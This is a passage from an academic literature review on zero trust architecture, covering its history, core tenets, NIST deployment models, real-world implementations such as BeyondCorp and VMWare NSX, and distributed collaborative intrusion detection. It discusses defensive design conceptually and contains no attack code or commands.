3. Database selection: we identified the most appropriate academic databases for our 
literature review being the ones with the most cited content on computer science and 
information technology.  Databases such as IEEE Xplore, ACM Digital Library, Scopus, 
Web of Science, Google Scholar, MDPI Security, Elsevier Computer Science, and 
USENIX Cryptography. These databases provided access to a wide range of scholarly 
articles, conference papers, and technical reports. However, due to the lack of zero 
trust architecture’s practical implementation other than the government sector, we 
used the learnings of the mentioned sector from sources such as the National Security 
Agency (NSA) and The National Institute of Standards and Technology (NIST) of the 
United States of America 

4. Primary search: we performed a primary search using our initial keywords in the 
selected databases. This search helped to identify the initial set of relevant articles 
and papers. We reviewed the titles, abstracts, and keywords of the retrieved results 
to determine their relevance to our research questions. 

5. Inclusion and exclusion criteria: we established inclusion and exclusion criteria based 
on the relevance and scope of RQ1. The criteria helped in filtering the initially 
retrieved articles and papers.  

1. Inclusion criteria: 
• Relevance: the study directly addresses or discusses the topics of zero trust 

architecture, DLTs, blockchain, and distributed collaborative intrusion 
detection.  

• Publication type: peer-reviewed journal articles, conference papers, and 
technical reports found on one of the accepted databases described above.  
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• Publication date: studies published within the last 10 years. 
• Language: English. 
• Methodology: studies employing qualitative, quantitative, or mixed-method 

research approaches. 
• Focus: studies that present empirical findings, theoretical frameworks, case 

studies, or systematic reviews related to the research topics. 
• Domain: studies from computer science, information technology, 

cybersecurity, distributed systems, and related fields. 
2. Exclusion criteria: 
• Irrelevance: studies that do not address the topics of zero trust architecture, 

DLTs, blockchain, or distributed collaborative intrusion detection. 
• Publication type: non-academic sources, such as blog posts, opinion pieces, or 

news articles. 
• Publication date: due to the already limited available literature, we did not 

restrict the publication date exclusion criterion. 
• Language: studies published in languages other than English.  
• Methodology: studies with inadequate research methodology or lack of 

methodological rigor. 
• Focus: studies that only provide high-level overviews or general discussions 

without presenting any specific findings or insights. 
• Domain: studies from unrelated fields or domains that do not contribute 

significantly to the research topics. 
6. Screening and selection: we begun the screening process by reviewing the titles and 

abstracts of the identified articles and papers and applied the inclusion and exclusion 
criteria to select the studies that met our research objectives. Next, we obtained, 
stored the full text of the selected articles in our common storage environment read 
them, and discussed them in our weekly meetings. 

7. Snowballing Process: after selecting a set of relevant articles, we initiated the 
snowballing process. Snowballing in this context means that we examined the 
reference lists of the selected studies to identify additional relevant sources. This 
process helped to find older or highly influential works that may not have appeared in 
our initial keyword search.  

8. Snowballing Iterations: as step nr.7 yielded good result by pointing out at least three 
new papers adhering to inclusion criteria, we repeated the snowballing process for 
each newly identified source. We checked the reference lists of the additional articles 
and papers found in the previous iteration and continued this iterative process until 
we could no longer discover any new relevant sources. The source tree of papers 
alongside the results from each iteration was also stored in our common storage 
folder to maintain traceability.  

9. Analysis and Synthesis: we analysed the content of the selected articles and papers 
to extract relevant information, and searched for common themes, methodologies, 
findings, and gaps in the existing research. We utilized mind maps and spreadsheets 
to organize and synthesize the information systematically and kept all records in our 
weekly meetings minutes.  

10. Reporting: finally, we documented the findings of the snowballing systematic 
literature review. We summarized the key themes, trends, and insights and gaps 
identified from the analysed sources. Since the goal was to answer RQ1, we firstly 
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focused on documenting the core tenets, capabilities, and requirements of zero trust. 
Secondly, we categorise existing real-world zero trust implementations and discuss 
their strengths and weaknesses. Thirdly, we explore the potential of blockchain in 
developing and improving Distributed Collaborative Intrusion Detection Systems 
(DCIDSs) that can alleviate the Achilles heel of ZTA (i.e., endpoints’ vulnerability). 
Finally, we discuss the open questions and challenges, as well as highlight potential 
solutions and research directions to ZTA and distributed blockchain-based IDS. 

 
 
2.2 Zero Trust 
 

We begin this research by provide a brief history of “zero trust” and ZTA, and we discuss 
the core tenets, core capabilities, models, and existing approaches of zero trust including real-
world implementations.   

 
2.2.1 History of Zero Trust Architecture 

 
The Jericho Forum in 2004 introduced the idea, radical at that time, of de-perimeterization 

[4], which subsequently developed into the broader concept of zero trust. The term “zero 
trust” was coined by J. Kindervag [28] back in 2010; however, the zero-trust concept was 
present in the cyber security domain before that. The United States Department of Defence 
and Defence Information Systems Agency (DISA) proposed a secure strategy, named “black 
core”, which was published in 2007 [18]. Black core discussed the transition from a perimeter-
based security architecture to one that emphasises on securing individual transactions. 

The wide-spread adoption of cloud and mobile computing greatly contributed to the 
evolving of ZTAs, and as part of it, for instance, approaches such as identity-based 
architectures slowly gained attention and broader acceptance. Google published a series of 
documents under the name “BeyondCorp” on how to achieve a zero-trust architecture [19] 
[31] [20]. The BeyondCorp project advocates for the concept of de-perimeterization, arguing 
that perimeter-based security controls no longer suffice, and that security should be 
expanded to users and devices. As a result of this project, Google abandoned the traditional 
way of remote working based on Virtual Private Networks (VPNs) and managed to provide a 
reasonable assurance that all corporate users could access Google’s network via insecure and 
unmanaged networks. 

 

2.2.2 From Traditional Perimeter-Based Architectures to ZTA 
 

As a philosophy, “zero trust” assumes that trust in users, devices, workloads, and network 
traffic should not be implicitly granted [17] with the consequence that all entities must be 
explicitly verified, authenticated, authorised, and constantly monitored. One of the core 
objectives of zero trust is to severely inhibit the ability of adversaries to move laterally, once 
they successfully manage to compromise a user’s device, or even simply steal their 
credentials. As such, the IT infrastructure needs to be shaped and prepared accordingly.  

The traditional perimeter-based security architecture creates multiple zones of trust [4]. 
Not all zones adhere to the same rules or to the same level of trust. In fact, users might not 
be able to even reach into the next zone if not explicitly allowed by the relevant component. 



 29 

This is referred to as defence-in-depth, as discussed by Smith [22] or as the castle-and-moat 
approach [23]. Note the different zones (Internet, demilitarized zone, trusted, and privileged) 
are being protected by various perimeter-based controls such as a local broker, a VPN 
gateway, multiple firewalls, and application services prior to reaching the mainframe. In this 
example (i.e., Figure 4), the mainframe is a core banking system, responsible for all 
transactions hence it is separated entirely in a privileged zone. 

 

 
Figure 4 - A traditional security architecture. 

Unlike a traditional security architecture, zero trust calls for thinking, building, and 
protecting from the inside out. Based on works from Google [19] [20], Jericho [5] and 
Kindervag [17], [24] there is one immediate and important observation. In the context of ZTA 
the virtual private network (VPN) technology can be eliminated once the network locality 
dependency becomes irrelevant. VPN, in short, allows a user (denoted by “Remote Employee” 
in Figure 4) working remotely, to connect to an office (denoted as “TRUSTED” in Figure 4), via 
a secure encrypted channel.  However, the endpoints should be protected by other means 
since VPN encryption only addresses the tunnel between the “Remote Employee” and the 
“TRUSTED” zone. When the “Remote Employee” is authenticated and the tunnel is 
successfully established, he/she receives an IP address in the remote network of the 
“TRUSTED” zone. On that tunnel, the traffic from the “Remote Employee” to the “TRUSTED” 
zone is decapsulated and routed, therefore, leading to an “official” backdoor. Moreover, the 
single-entry point denoted as “VPN Gateway” acts as a single point of failure or strangle point 
for the architecture and the network. Hence, if we start considering the network location as 
irrelevant, while at the same time applying a proper set of controls, then VPN can be 
eliminated if there are no further dependencies (e.g., apps with legacy protocols). That said, 
authentication and authorisation alongside policy enforcement should immediately move 
closer to the network edge and endpoints. 

To reflect the arguments above, we draw Figure 5 that shows a reference to ZTA. For the 
sake of simplification, in Figure 5, we include only the core components, for instance, a Local 
Broker (LB), the remote employees, mobile devices, untrusted clients, and numerous services 
that require protection. Compared to the perimeter-based architecture shown in Figure 4, 
there are no zones, and the security is being built from the inside out. In addition, there are 
neither VPN gateways, nor firewalls to filter network traffic, and most importantly there is no 
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single gateway of entrance. We notice; however, a policy enforcement point at the control 
plane. This ZTA reference does not create any strangle point like in the case of the perimeter-
based architecture. 

 

 
Figure 5 - A high-level ZTA reference. 

To make this ZTA reference vendor agnostic, we simply use the generalised term of control 
plane, and distinguish between control plane and data plane. This is a known concept in cloud 
architectures, and we use the same analogy here to leverage the fact that the control plane 
poses inherent and unlimited access to the data plane. All access requests to resources must 
be directed through the control plane, where a set of authorisation and authentication 
policies, rules and context parameters must be met. Access to more private resources (e.g., a 
payment router or a mainframe resource) can be further restricted based on Role-Based 
Access Controls (RBAC) enhanced by Context-Based Access Controls (CBAC) on the same level. 
Finally, if the control plane concludes that the request should proceed, then it coordinates 
and configures as necessary the data plane to accept the connection from the requestor. 
Additionally, the control plane can potentially coordinate the setup of an encrypted tunnel 
for the requestor and the destination resource.  

 
2.2.3 Zero Trust Core Tenets 
 

Based on the works of DeCusatis et al. [25], Rose et al. [9], Samaniego and Deters [26], and 
Jericho [5], ZTA is governed by the following five tenets. Jointly, these five core tenets form 
the concept of zero trust. Although the above-mentioned papers can be found with slightly 
different titles or descriptions, they share the same essence. Those principles must be applied 
at many distinct levels, for instance, users as well as administrators, and on many different 
domains, such as traditional networks as well as on cloud infrastructures. It needs to be 
highlighted that, although zero trust is gaining momentum and the market for the related 
products are expected to double by 2024 [27], there is limited vendor agnostic, scientific 
critical literature available.  
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• Access Segmentation: every access to a resource must be appropriately segmented, 
in order that no single entity can access the entire network or even a large part of it. 
Furthermore, a minimum number of entities must be able to explicitly access critical 
data. This explicit access applies particularly to administrators, where in most cases 
they tend to preserve unlimited and uncontrolled access throughout the whole 
network.  

 
• Universal Authentication: all entities, including users, devices, applications, and 

workloads, having any form of interaction with the corporate network must be 
authenticated regardless of their location in the network.  

 
• Encrypt as Much as Possible: ZTA assumes a breach (i.e., the worst-case scenario), 

therefore, the network is always considered hostile, and trust cannot be inherently 
granted. That said, one must always assume that a potential adversary can intercept 
any type of communication happening throughout the network. As a result, all 
communications should be end-to-end encrypted externally or internally.  

 
• The Principle of Least Privilege: all entities in a ZTA must be restricted to the least 

amount of privilege required for that specific entity to complete its mission or 
operation. This includes, for instance, what an entity can access, and where and for 
how long. Moreover, the overall trustworthiness of an entity must be evaluated based 
on the context or attributes, ultimately indicating if it shall be trusted or not. 

 
• Continuous Monitoring and Adjusting: every entity (internal or external) in a ZTA 

should be monitored. In this context, all network traffic, system events, and access 
attempts should be monitored and recorded regardless of failure or success. These 
must be continuously analysed and cross-checked against the security policy. The 
outcome should be then used to adjust the relevant policies when needed.  

 
2.2.4 Zero Trust Capabilities 
 
The core capabilities of a ZTA are presented based on the National Institute of Standards and 
Technology (NIST) special publication 800-207 [9], Google’s BeyondCorp [21] and Kindervag 
et al. [17]. The core capabilities include network and system access control, traffic filtering, 
application segmentation and execution control, operational analysis, and policy 
enforcement. 
 

• Network Access Control: network access control states that the authentication of all 
entities should happen before allowing entities further access to organisational assets. 
This can be achieved by proper network segmentation and a robust access control 
policy. 
 

• System Access Control: this category of capabilities deals with the file and user access 
controls. These can be implemented by using login agents and different cryptographic 
controls, such as full disk encryption. 
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• Traffic Filtering: this category of capabilities is about the enforcement of network 
segmentation and prevention of unauthorised connections. For this purpose, firewall 
technologies along with IDS/IPS and traffic analysis tools can be applied. In addition, 
monitoring of unusual traffic behaviour should be implemented. 

 
• Application Segmentation: like network segmentation, applications must be isolated 

from each other, and user access should be explicitly limited to only those applications 
users need to successfully perform their duty. 

 
• Application Execution Control: this deals with the prevention of unwanted, potentially 

malicious, applications that have not been previously authorised and approved to be 
executed. Application whitelisting is a common control for this category. 

 
• Operational and Forensic Analysis: this deals with analysing the systems and 

resources for evidence of breach or to detect anomalies. The most common technical 
approaches that support this include (i) host-based intrusion detection systems, (ii) 
application monitoring, (iii) forensic tools, (iv) honeypots/honeynets, (v) vulnerability 
scanners, (vi) penetration testing, (vii) threat intelligence, and (viii) red teaming. In 
addition, Security Information and Event Management (SIEM) tools, as well as 
Advanced Persistent Threat (APT) detection and prevention methods have been 
widely used to tackle more advanced threats. 
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• Policy Engine / Policy Enforcement: this includes vulnerability analysis and 

prioritisation, operational risk, and behavioural analysis. To help readers understand 
the connection among the core capabilities, in Figure 6, we draw a typical application 
of the seven capabilities in an example notional bank’s information technology 
architecture.  

 

In Figure 5, the green stickers highlight the measures to satisfy the zero trust core capabilities 
and core tenets. 

 

 
Figure 6 - An example ZTA capabilities reference. 

2.2.5 Zero Trust Models 
 

We discuss the three zero trust deployment models, presented in the NIST standardisation 
document [9]. These deployment models are high-level concepts, without any real-world 
implementation examples. Each model is composed of a control plane and a data plane. The 
control plane includes the policy engine and policy administrator, while the data plane 
contains the components that support data transmission. Note that the core tenets and 
capabilities outlined in the previous two subsections can be implemented as part of each high-
level deployment model. 
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2.2.5.1 Device Agent / Gateway-Based Deployment 
 

In this deployment model, as shown in Figure 7, the Policy Enforcement Point (PEP) must 
be highly integrated with two major components, the endpoints, tagged as ‘Enterprise 
System’ (which can be laptops, PCs in a remote location, or handheld devices), and the 
resource or application(s) that is subject to a user access request. 

To implement this model, an agent is required to be installed on the endpoints. This model 
provides the best overall control among the three models, because the agent acquires real 
time contextual information of the resources the users are trying to access for the endpoints 
and the users, at any time. As a result, a decision by the control plane can be made at any 
point and the necessary configuration of the data plane is instant and highly accurate.  

     Nonetheless, a drawback of this model is the overhead that comes with the agent 
installations and the full integration of the data resource with the gateway. A good example 
of this model is the Google’s BeyondCorp implementation [19].      

 
Figure 7 - NIST Device Agent/Gateway-Based Deployment. 
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2.2.5.2 Enclave-Based Deployment 
 
       Like the previous case, this model again requires an agent to be installed on the user’s 
endpoint, however, the PEP is placed in front of an enclave of resources. Unlike the first 
deployment model, there is no requirement for a tight integration between the resources, 
which is one of the advantages of this model as shown in Figure 8. A disadvantage, however, 
is that a zone of implicit trust is automatically created amongst the gateway and the 
resources, and therefore, the advantage that comes with the acquired contextual 
information, as seen in the first model, is lost. 

 
Figure 8 - NIST Enclave-Based Deployment. 
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2.2.5.3 Resource Portal-Based Deployment 
 

In this model, the PEP is neither integrated with the user endpoint nor the application or 
service, as shown in Figure 9. A gateway is positioned accordingly in the network corridor, 
and responsible for controlling access to the subject resources. The advantage of this 
deployment model is that it is agentless, namely, no special software is required to be 
installed on the user’s endpoint(s), and the subject application(s) / resource(s) do not require 
any modifications. However, its drawback is the loss of fine-grained access control towards 
the resources or applications, and hence, limiting zero contextual information that can be 
used to make context aware decisions. The first example of this model was presented by 
Forrester [24] utilising technologies such as Virtual Local Area Networks (VLANs) and Next 
Generation Firewalls (NGFWs) to achieve segmentation. 

 

 
Figure 9 - NIST Resource Portal-Based Deployment. 

To conclude this section, in Table 1, we provide a comparison of the three zero trust 
deployment models based on the four discussed characteristics, alongside their advantages 
and limitations. 

 
 

Table 1 – Advantages-Disadvantages & Attribution Table of NIST’s ZT deployment models. 
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2.2.6 Zero Trust Architecture Approaches and Implementations 
 

In this section, we discuss the existing approaches and implementations for ZTAs. First, we 
discuss the more theoretical approaches and concepts proposed in research papers. 
Afterwards, we present some important real-world ZTA implementations by enterprise. At 
the end of this section, we summarise and compare the real-world implementations based 
on the NIST deployment models in Table 2.  

 
2.2.6.1 Theoretical Approaches for ZTAs 
 

Cloud and mobile computing introduced and enabled borderless networks; therefore, it is 
imperative to re-design cyber security controls accordingly and not just focus on the 
corporate perimeter. DeCusatis et al. [25] identified the limitations of the existing best 
practices regarding network segmentation. Grounded on a steganographic overlay, they 
discussed a novel architecture as an enabler to a zero-trust approach. Technically, the so-
called steganographic overlay embeds authentication tokens within the first-packet 
authentication and Transmission Control Protocol (TCP) requests. An experiment deployment 
was demonstrated in both the traditional and cloud computing environments.  

The concept of a steganographic overlay presents an intriguing solution, as it enables 
enhanced security measures beyond traditional perimeter-based defences. By incorporating 
authentication tokens within the network traffic, itself, this architecture offers a more robust 
and dynamic approach to ensuring trust and access control. The authors successfully 
demonstrate the feasibility of this approach through experiment deployments in both 
traditional and cloud computing environments. However, it is important to acknowledge 
potential challenges and considerations associated with the implementation of such a system. 
One key aspect to consider is the potential impact on network performance and latency, as 
the embedding and extraction of authentication tokens within network traffic may introduce 
additional processing overhead. Moreover, ensuring the seamless integration of this 
steganographic overlay with existing security frameworks and protocols is crucial to prevent 
compatibility issues and vulnerabilities. Further research and validation are necessary to 
assess the scalability, efficiency, and resilience of this novel architecture. Additionally, 
potential risks and vulnerabilities associated with steganography-based authentication 
mechanisms should be thoroughly investigated to ensure that they do not introduce new 
attack vectors or compromise data integrity. In conclusion, DeCusatis et al.'s [25] exploration 
of a steganographic overlay as an enabler for a zero-trust approach offers a promising 
direction for enhancing cybersecurity controls beyond the traditional corporate perimeter. 
However, further investigation and evaluation are required to address potential 
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implementation challenges and validate the overall effectiveness and security of this 
approach in real-world scenarios. 

Rose et al. [9] first provided an abstract definition of ZTA, while also contributing to the 
common body of knowledge by specifying general deployment models and use cases where 
ZTA could enhance an overall cyber security posture of an enterprise. Embrey [28] identified 
the top three factors driving the adoption of ZTA and stressed its necessity to enhance 
security and policy controls at both the user’s and device’s level. Mehraj and Banday [29] 
proposed a conceptual zero trust strategy, explicitly designed for cloud environments. Their 
efforts also emphasise trust establishment and the further trust challenges applicable to 
cloud computing. Yan and Wang [30] performed a survey on zero trust components and the 
key technologies for ZTA. They also applied some of the subject technologies and related 
them to specific scenarios, to highlight further the advantages of ZTAs. Collectively, these 
works deepen our understanding of ZTA and its potential as a cybersecurity paradigm. 
Nevertheless, it is important to acknowledge that ZTA is still an evolving field, and further 
research is needed to address implementation challenges, scalability, and integration with 
existing systems. Additionally, practical deployment considerations, interoperability issues, 
and potential trade-offs associated with implementing ZTA should be explored to ensure the 
effective and secure adoption of this architectural approach. 

Keeriyattil studied the whitelisting approach [31], at the network level. The ingress and 
egress traffic of a virtual Network Interface Card (NIC) were examined against a given list of 
firewall policies. Based on the whitelisting concept, if no matching rule is found for a specific 
traffic flow, then the packet is simply dropped. Using specific technologies (e.g., VMWare 
NSX) the author demonstrated how only the traffic that is checked against specific records 
would be allowed. Implementing whitelisting at the network level can be complex and 
requires ongoing maintenance to keep the whitelist up to date. Additionally, managing false 
positives and false negatives can be a challenge, as accurately identifying legitimate traffic 
flows while avoiding blocking legitimate communications is crucial.  Mital [32] discussed the 
features of DLT and blockchain technology that would be applicable to the zero-trust context. 
Specifically, the author discussed how the immutability property of blockchain could help in 
establishing higher integrity standards. In addition, the elimination of a possible single point 
of failure in ZTA could help with maximising the availability of the system/network, due to the 
“inherent” relevant attributes of DLT. While the discussion of DLT and blockchain technology 
in the context of zero trust is promising, it is essential to acknowledge that the first step would 
be to map the theoretical approached into practical zero-trust frameworks, as this, is still an 
ongoing challenge.  

 

2.2.6.2 Real World ZTA Implementations 
 

There are four relevant “real-life” ZTA approaches, namely, Google’s BeyondCorp [21], 
Forrester NGFW/ZTX [24], Cloud Security Alliance (CSA), Software-Defined Perimeter (SDP) 
[33], and VMWare NSX [31]. Those architectures are the current dominating real-world 
deployment models [34], unlike the previous high-level architectures. 
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2.2.6.2.1 Google’s BeyondCorp 
 

Following a hacking campaign by the Anonymous group named Operation Aurora in 2009 
[35], Google produced the BeyondCorp project. Based on a detailed report published by 
McAffee labs on the lessons learned from Operation Aurora [36], the attackers were able to 
access the internal network. The attackers specifically targeted the sources of intellectual 
properties and used the compromised system as a starting point (also known as “jump-point”) 
to move laterally. Consequently, Google’s primary goal was to remove the inherent trust 
acquired by its users and devices, due to their placement (physical or electronic) within the 
corporate network. Moreover, in case a user or a device was compromised, as seen during 
Operation Aurora, a secondary goal was to minimise the probability of an adversary moving 
laterally through the network and compromising further entities. Three core tenets were the 
derivative of the first whitepaper of BeyondCorp in 2014 [7]:  

 
1. The services that a user/device can access must not be determined by a specific 

connection and especially the location of the connection. 
2. All access to services must be determined based on contextual information. 
3. All access to services must be authenticated, authorised, and encrypted. 

 

Figure 10 highlights the access and traffic flow alongside the components of the 
BeyondCorp zero trust implementation. The components include the access proxy, the access 
control engine, the pipeline that receives input from the device inventory database, the 
user/group database, and finally, the trust inference alongside the certificate issuer. Such an 
approach can be mapped back to the Device Agent/Gateway-based deployment model 
proposed by NIST.  
 

 
Figure 10 - BeyondCorp Traffic/Access Flow & Components. 

Note that in this model, the public and the internal networks inside a Google’s building 
have absolutely no differences when it comes to user and device privileges as both are 
considered unprivileged. Device authentication on the internal unprivileged network is 
performed via the 802.1x standard through a Remote Authentication Dial-In User Service 
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(RADIUS) server. Prior to accessing that network, all users follow the same flow through a 
Single Sign On (SSO) mechanism, which provides authentication to resources. Complementing 
this zero-trust model, an innovative element is their Identity Aware Proxy (IAP), which works 
synergistically with context-based access control. The access to resources is not implicitly 
allowed for the user/device being simply part of the corporate network. Quite the reverse, 
access is explicitly granted based on context and policy.  

The BeyondCorp model authenticates the users on the application layer of the network. 
There is a heavy reliance on this aspect since most of their applications and services are web-
based. Furthermore, as Google applications are mostly developed internally, combined with 
their own existing SSO system, this has led to a successful implementation of the new 
architecture. However, companies without heavy internal development or heavy reliance on 
web-based services, will probably require a different model. Google has since productized 
BeyondCorp’s evaluated model as BeyondProd, which is a cloud native security solution [37]. 

Overall, if an organisation has multiple publicly exposed services with several cloud-based 
applications accessed by public users, then this is likely to be a suitable model. However, we 
note that Google only applies this on their cloud infrastructure and, to the best of our 
knowledge, currently no other organisation offers a similar solution. As a result, applying the 
BeyondCorp model for a non-cloud environment is not straightforward, and the relocation of 
several core management controls may be required. 

 
2.2.6.2.2 Forrester Zero Trust eXtended (ZTX) 
 
In this model, as depicted in Figure 11 [24], a centralised segmentation engine manages and 
isolates the enterprise network into multiple Micro Core and Perimeter (MCAP) segments, 
when and where appropriate. As such, it can enforce traffic rules in between MCAPs. Figure 
11 shows the NGFW being used as a segmentation engine to form multiple MCAPs. Such an 
approach can be mapped back to the “Resource Portal” model outlined by NIST. 

 
Figure 11 - Forrester's NGFW used as a segmentation engine forming MCAPs [23]. 

As highlighted in Table 1 in reference to the Resource Portal model, the required changes 
in components for this model prior to implementation are minimum or near zero, hence, it 
can be an attractive choice. However, this model makes use of the information available in 
the data packets to enforce trust. This approach is less “granular” compared to the 
architectures that integrate tightly with endpoints and services. Another drawback of this 
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approach is that users cannot be directly authenticated with the NGFW segmentation engine. 
More specifically, the segmentation engine is not capable of enforcing policies based on the 
contextual information of users and devices.  

Many organisations are already deploying a resource portal architecture, which can be 
seen as a good match for this ZTA. This architecture alongside the enclave-based, is likely to 
be the best for, and the easiest to deploy in, a Bring Your Own Device (BYOD) or an Internet 
of Things (IoT) environment, because the devices can be placed within their own enclave or 
MCAP. However, an important shortcoming is that the access control mechanism in this 
model can be less fine grained than in other architectures. In addition, there is a dependency 
on further integration with other technologies such as Identity and Access Management 
(IAM), device management systems or VPNs, to achieve the same security levels as other 
architectures. 
 
2.2.6.2.3 CSA’s Software Defined Perimeter (SDP) 
 

The concept of SDP was introduced by a non-profit organisation called the CSA in 2013 
[33]. Since then, several SDP based solutions have been developed, and have been proven for 
large organisations holding its fair share in the market. Using the NIST high-level models to 
conduct a mapping, SDP would match the Enclave-Based Deployment Model. Namely, an 
agent is required to be installed at the endpoint and the service, however, there is no 
integration with the target resource or the target application. Therefore, the agent itself can 
be taking on the role of a gateway on the service side.  

We can find some similarities between this model and the Forrester ZTX approach. For 
instance, like the NGFW solution described in the previous point, the SDP approach performs 
network segmentation as a central firewall. It undertakes the role of an overlay network 
beyond the current network infrastructure. User authentication and identity verification 
happen at the SDP server, therefore, instantly creating a VPN tunnel between the subject 
resource and the authenticated user. Figure 12 shows the described SDP controller 
connection handling process. As can be seen, the workflow is split into control and data 
channels, and eventually results in a direct VPN tunnel between SDP hosts. 

 
Figure 12 - SDP Reference Workflow [32]. 
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The key difference, however, relies on how a VPN and the SDP approach manage and 
establish the overall trust towards users and devices. For instance, in case of VPN, once a user 
and/or a device is authenticated and authorised, he/she can access most of the network with 
trust being implicitly applied by default considering the network location. On the other hand, 
once a user and/or a device authenticates itself with the SDP controller, a set of role-based 
access, attributes, and context of user trust is enforced. An important advantage of SDP, 
nonetheless, is the elimination of the integration with the subject resource (or application). 
At the same time, installation, and configuration on both the resource and endpoint are still 
required. For details on the real-world ZTA implementations mapped to NIST deployment 
models, see Table 2 below. 

Conclusively, SDP is a new concept being continuously improved, and the relevant market 
offerings are not yet mature enough, at least at the time of this writing, though they have 
reached a point where enterprise adoption can be achieved with no significant issues or 
complications. Moreover, SDP does not require a costly integration with the applications, due 
to its inherent architecture principle. Finally, SDP can be seen as a perfect match for 
organisations with multiple IoT systems, or operational technology in general since the 
gateway can act on behalf of the mentioned devices. Barcelo et al. [38] and Anggorojati et al. 
[39] confirmed this via the SDP and IoT/OT integration and heavy testing. 

 
2.2.6.2.4 VMWare NSX 
 

The deployment based on VMWare NSX is another real-world ZTA deployment. However, 
this model is mainly referring to organisations that already leverage the Virtual Desktop 
Infrastructure (VDI) [31]. The model matches the Device-Agent/Gateway Deployment model, 
although it assumes that all resources are based on virtualised systems, namely, the 
applications are hosted on virtual servers. A reference zero trust architecture using NSX is 
shown in Figure 13. 

 
Figure 13 - Reference ZTA using NSX [30]. 

As depicted in Figure 13, the workflow of this architecture starts with a user authentication 
step on the VDI server. Thereafter, a remote session on a virtual desktop is established and 
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presented to the user. The virtual server and the virtual desktop are the two core components 
of the NSX based approach. In this case, NSX acts as a firewall where policy decisions and trust 
management are performed and enforced throughout the network as a whole and in multiple 
points. Hence, the administrative team can perform access control fine graining in manifold 
segments, which can be also referred to as micro-segmentation [31] .  

     A major advantage of this approach is the concept of the virtualised desktop. Particularly, 
the administrator group, who control the full Virtual Machine (VM) or virtual desktop fleet, 
could refresh or rebuild it on a frequent basis (e.g., at night). Therefore, if we assume an 
adversary compromising an endpoint via one of the most common adversary methodologies, 
such as phishing or spear phishing, establishing a persistent foothold would be highly unlikely. 
Hence, this approach would disrupt the so-called cyber kill chain [40] at an exceedingly early 
stage. On the other hand, most organisations are already deploying a highly virtualised model, 
but switching into a VDI-based architecture would be costly. In contrast to the SDP approach, 
this model may be a bad choice for IoT systems due to the virtualisation requirement in the 
sensors and OT. 

Finally, building upon Table 1, we map the real-life ZTA implementations to the NIST 
deployment models, and provide Table 2 with summarised information.      

 
Table 2 - Real-World ZTA implementations mapped to NIST deployment models. 

NIST 
Deployment 
Model 

PEP 
Location 

Agent 
Required 

Control/ 
Data plane 
Integration 

Contextual 
information / fine 
grained access 
controls 

Real-World 
Implementation 

Device 
Agent/Gateway-
Based 

Attached to 
resources 

System & 
resource 

 
Tight 

Highly-available – yes Google’s BeyondCorp & 
VMWare NSX 

 
Enclave-Based 

In front of 
resources 

 
System 

 
Medium 

Limited availability – 
not possible 

Software Defined 
Perimeter 

Resource Portal-
Based 

In between 
system & 
resources 

 
None 

 
Loose 

Limited to zero – not 
possible 

NGFW / Forrester ZTX 

 
 

  



 44 

2.4 Potential Solutions to The ZTA Endpoints Problem 
 

Addressing the integrity of the endpoints, and detecting compromised endpoints are 
necessary to improve the effectiveness of ZTAs. In this section, we review some potential 
approaches and technical solutions to the ZTA endpoints problem. 

 
2.4.1 Distributed Collaborative Intrusion Detection 
 

      Deploying Intrusion Detection Systems (IDSs) is a well-known approach to effectively 
detect intrusions based on the anomaly caused by malicious or compromised devices. Hence, 
it is one of the most promising solutions for problem in discussion. However, implementing a 
standalone IDS is often insufficient in case of large companies due to the substantial number 
of false positives and negatives. Shortcomings of standalone IDS systems have been studied 
by Fung et al. [43], Duma et al. [44] and Weizhi et al. [45].  As a result, DCIDSs have been 
proposed to improve the efficiency and availability of standalone IDSs. 
 

Collaborative Intrusion Detection Systems (CIDSs) or Collaborative Intrusion Detection 
Networks (CIDNs) are deployed to eliminate limitations [46] of standalone IDSs. CIDSs consists 
of cooperating IDSs, using collective knowledge to achieve superior intrusion detection 
accuracy. Furthermore, DCIDSs deal with various IDS weak cases, such as Distributed Denial 
of Service (DDoS) attacks. Wu et al. [47] showed that in practice, compared to a standalone 
IDS setting, CIDSs can reduce the number of missed alarms (to 1 from 7 cases), and they 
managed to eliminate the number of false alarms in their test system based on Snort, Libsafe, 
and a new kernel level IDS called Sysmon.  

To make this paper as relevant to ZTA in relation to APTs context as possible, we focus 
our review on three pillars of DCIDSs and the recent advances in the literature for each. 
Specifically, (1) architecture, (2) alert correlation and (3) alert trustworthiness.  

 

2.4.1.1 Architecture 
 

DCIDSs can greatly reduce the rate of false positives and negatives by correlating and 
analysing multiple suspicious pieces of evidence from diverse sources or sensors throughout 
the network. There is also potential to decrease computational costs because the intrusion 
detection resources can be shared between networks. An overview of a DCIDS is shown in 
Figure 14 [48]. We notice a bidirectional communication in circular format, namely, any 
detection and correlation unit can potentially connect and communicate with any other unit 
on the network. 

Each participating IDS in the DCIDSs architecture has two core functional units: 
• Detection unit, which is responsible for the data collection locally. 
• Correlation unit, which is a segment of the overall distributed correlation architecture. 

It is worth noting that, despite the benefits brought into the defensive landscape from the 
DCIDSs, the overall attack surface increases in these architectures, because of their 
distributed nature. The attackers would have more IDS nodes to target to start working their 
way towards a stealthy foothold establishment, or simply covering their tracks on a single 
endpoint. The main security issue identified in the context of DCIDSs is the integrity of the 
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data shared among the IDS nodes, which can be incorrect/incomplete either because of lack 
of trust (e.g., an IDS node refuses to reveal sensitive data) or the data is sent by a 
compromised IDS node. Ensuring integrity of the shared data is crucial. Blockchain and the 
distributed ledger technology can be a promising approach, which we discuss later in this 
chapter. 

 

 
Figure 14 - DCIDS Reference Architecture [47]. 

 
Another issue in the context of DCIDSs is the dissemination of the alert messages and 

shared data. Garcia et al. [48] in their study, proposed a DCIDS architecture that correlates 
alerts from participating nodes effectively via a secure multicast infrastructure, which 
demonstrated a great capability to detect attacks against and possibly even prevent them. 
Their architecture was based on local IDS, called “prevention cells”, which detect and record 
the attack patterns locally. Thereafter, the alert messages were exchanged between the local 
IDSs to achieve a more effective detection rate.  

To cope with APTs, Dash et al. [49] proposed a collaborative host-based IDS approach 
which detects network intrusion using distributed probabilistic inference.  Based on a 
hierarchical architecture, they proposed three core components in their system: Local 
Detectors (LDs), being the first component, which serve as a local version of the IDS, analysing 
the endpoint state and relevant local traffic patterns, secondly, the Global Detectors (GDs) 
capture the global views of potential attacks by analysing the information gathered through 
LDs, using a probabilistic model and finally, the Information Sharing System (ISS) which acts 
as a communication enabler between LDs and GDs via a gossip protocol. In addition, 
approaches such as binary classifiers are used by LDs to analyse both the incoming and 
outgoing traffic of the potentially compromised host. Alerts can be triggered if a pre-
configured threshold is crossed. The state of the overall security of LDs is constantly 
